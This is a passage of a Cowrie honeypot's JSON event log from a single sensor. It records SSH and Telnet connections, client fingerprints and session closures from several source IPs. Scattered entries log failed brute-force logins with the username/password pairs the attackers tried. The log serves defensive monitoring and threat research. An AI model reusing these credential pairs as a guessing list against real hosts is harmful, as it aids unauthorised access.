dsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:30.646930Z","src_ip":"45.153.34.112","session":"a65794ce7d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:30.899723Z","src_ip":"45.153.34.112","session":"a65794ce7d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55030,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b7dc6f1b7b9","protocol":"telnet","message":"New connection: 192.119.13.58:55030 (10.17.0.5:23) [session: 0b7dc6f1b7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:31.156989Z"}
{"eventid":"cowrie.session.closed","duration":46.86912250518799,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:31.185340Z","src_ip":"192.119.13.58","session":"59f1c0d4d8f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:31.985920Z","src_ip":"45.153.34.112","session":"a65794ce7d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33580,"dst_ip":"10.17.0.5","dst_port":22,"session":"421dab5b01b5","protocol":"ssh","message":"New connection: 45.153.34.112:33580 (10.17.0.5:22) [session: 421dab5b01b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:34.208798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:34.213742Z","src_ip":"45.153.34.112","session":"421dab5b01b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:34.295844Z","src_ip":"45.153.34.112","session":"421dab5b01b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:34.542293Z","src_ip":"45.153.34.112","session":"421dab5b01b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:35.628274Z","src_ip":"45.153.34.112","session":"421dab5b01b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33594,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ca0686f82d","protocol":"ssh","message":"New connection: 45.153.34.112:33594 (10.17.0.5:22) [session: a0ca0686f82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:38.083662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:38.087981Z","src_ip":"45.153.34.112","session":"a0ca0686f82d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:38.169619Z","src_ip":"45.153.34.112","session":"a0ca0686f82d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:38.415313Z","src_ip":"45.153.34.112","session":"a0ca0686f82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:39.632745Z","src_ip":"45.153.34.112","session":"a0ca0686f82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.83403205871582,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:39.990895Z","src_ip":"192.119.13.58","session":"0b7dc6f1b7b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36972,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d6b6f9e9cb","protocol":"telnet","message":"New connection: 192.119.13.58:36972 (10.17.0.5:23) [session: f4d6b6f9e9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:40.307292Z"}
{"eventid":"cowrie.session.closed","duration":33.0633659362793,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:41.082964Z","src_ip":"192.119.13.58","session":"66e4a0ead79b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39206,"dst_ip":"10.17.0.5","dst_port":22,"session":"1510ea390af2","protocol":"ssh","message":"New connection: 45.153.34.112:39206 (10.17.0.5:22) [session: 1510ea390af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:41.807041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:41.811849Z","src_ip":"45.153.34.112","session":"1510ea390af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45102,"dst_ip":"10.17.0.5","dst_port":23,"session":"56344bfe1457","protocol":"telnet","message":"New connection: 192.119.13.58:45102 (10.17.0.5:23) [session: 56344bfe1457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:42.079649Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:42.128933Z","src_ip":"45.153.34.112","session":"1510ea390af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:42.438484Z","src_ip":"45.153.34.112","session":"1510ea390af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":38796,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ee960a9a8a8","protocol":"ssh","message":"New connection: 106.251.244.178:38796 (10.17.0.5:22) [session: 7ee960a9a8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:43.012422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:43.017071Z","src_ip":"106.251.244.178","session":"7ee960a9a8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:43.218008Z","src_ip":"106.251.244.178","session":"7ee960a9a8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9b1f994facc","protocol":"telnet","message":"New connection: 192.119.13.58:50664 (10.17.0.5:23) [session: e9b1f994facc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:43.477870Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50770,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4f82e536cc2","protocol":"telnet","message":"New connection: 192.119.13.58:50770 (10.17.0.5:23) [session: a4f82e536cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:43.496283Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:43.524610Z","src_ip":"45.153.34.112","session":"1510ea390af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"titi123","message":"login attempt [root/titi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:44.050810Z","src_ip":"106.251.244.178","session":"7ee960a9a8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.82210159301758,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:44.270716Z","src_ip":"192.119.13.58","session":"f34011de562e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":50044,"dst_ip":"10.17.0.5","dst_port":22,"session":"173106ac5b28","protocol":"ssh","message":"New connection: 43.173.122.127:50044 (10.17.0.5:22) [session: 173106ac5b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:44.433651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:44.439112Z","src_ip":"43.173.122.127","session":"173106ac5b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:44.507745Z","src_ip":"43.173.122.127","session":"173106ac5b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric","message":"login attempt [root/eric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:44.811746Z","src_ip":"43.173.122.127","session":"173106ac5b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":52512,"dst_ip":"10.17.0.5","dst_port":22,"session":"23254b381ca1","protocol":"ssh","message":"New connection: 170.106.177.3:52512 (10.17.0.5:22) [session: 23254b381ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.130375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.136789Z","src_ip":"170.106.177.3","session":"23254b381ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.208695Z","src_ip":"170.106.177.3","session":"23254b381ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.254654Z","src_ip":"106.251.244.178","session":"7ee960a9a8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@a","message":"login attempt [root/123456789@a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.515202Z","src_ip":"170.106.177.3","session":"23254b381ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39228,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd8adb7c059d","protocol":"ssh","message":"New connection: 45.153.34.112:39228 (10.17.0.5:22) [session: cd8adb7c059d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.708773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.713320Z","src_ip":"45.153.34.112","session":"cd8adb7c059d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.795410Z","src_ip":"45.153.34.112","session":"cd8adb7c059d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:45.883706Z","src_ip":"43.173.122.127","session":"173106ac5b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:46.043479Z","src_ip":"45.153.34.112","session":"cd8adb7c059d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.50830388069153,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:46.572923Z","src_ip":"192.119.13.58","session":"c10f1affdf5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:46.585632Z","src_ip":"170.106.177.3","session":"23254b381ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:47.128802Z","src_ip":"45.153.34.112","session":"cd8adb7c059d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":46550,"dst_ip":"10.17.0.5","dst_port":22,"session":"54ef8746e7d5","protocol":"ssh","message":"New connection: 43.130.36.39:46550 (10.17.0.5:22) [session: 54ef8746e7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:47.309083Z"}
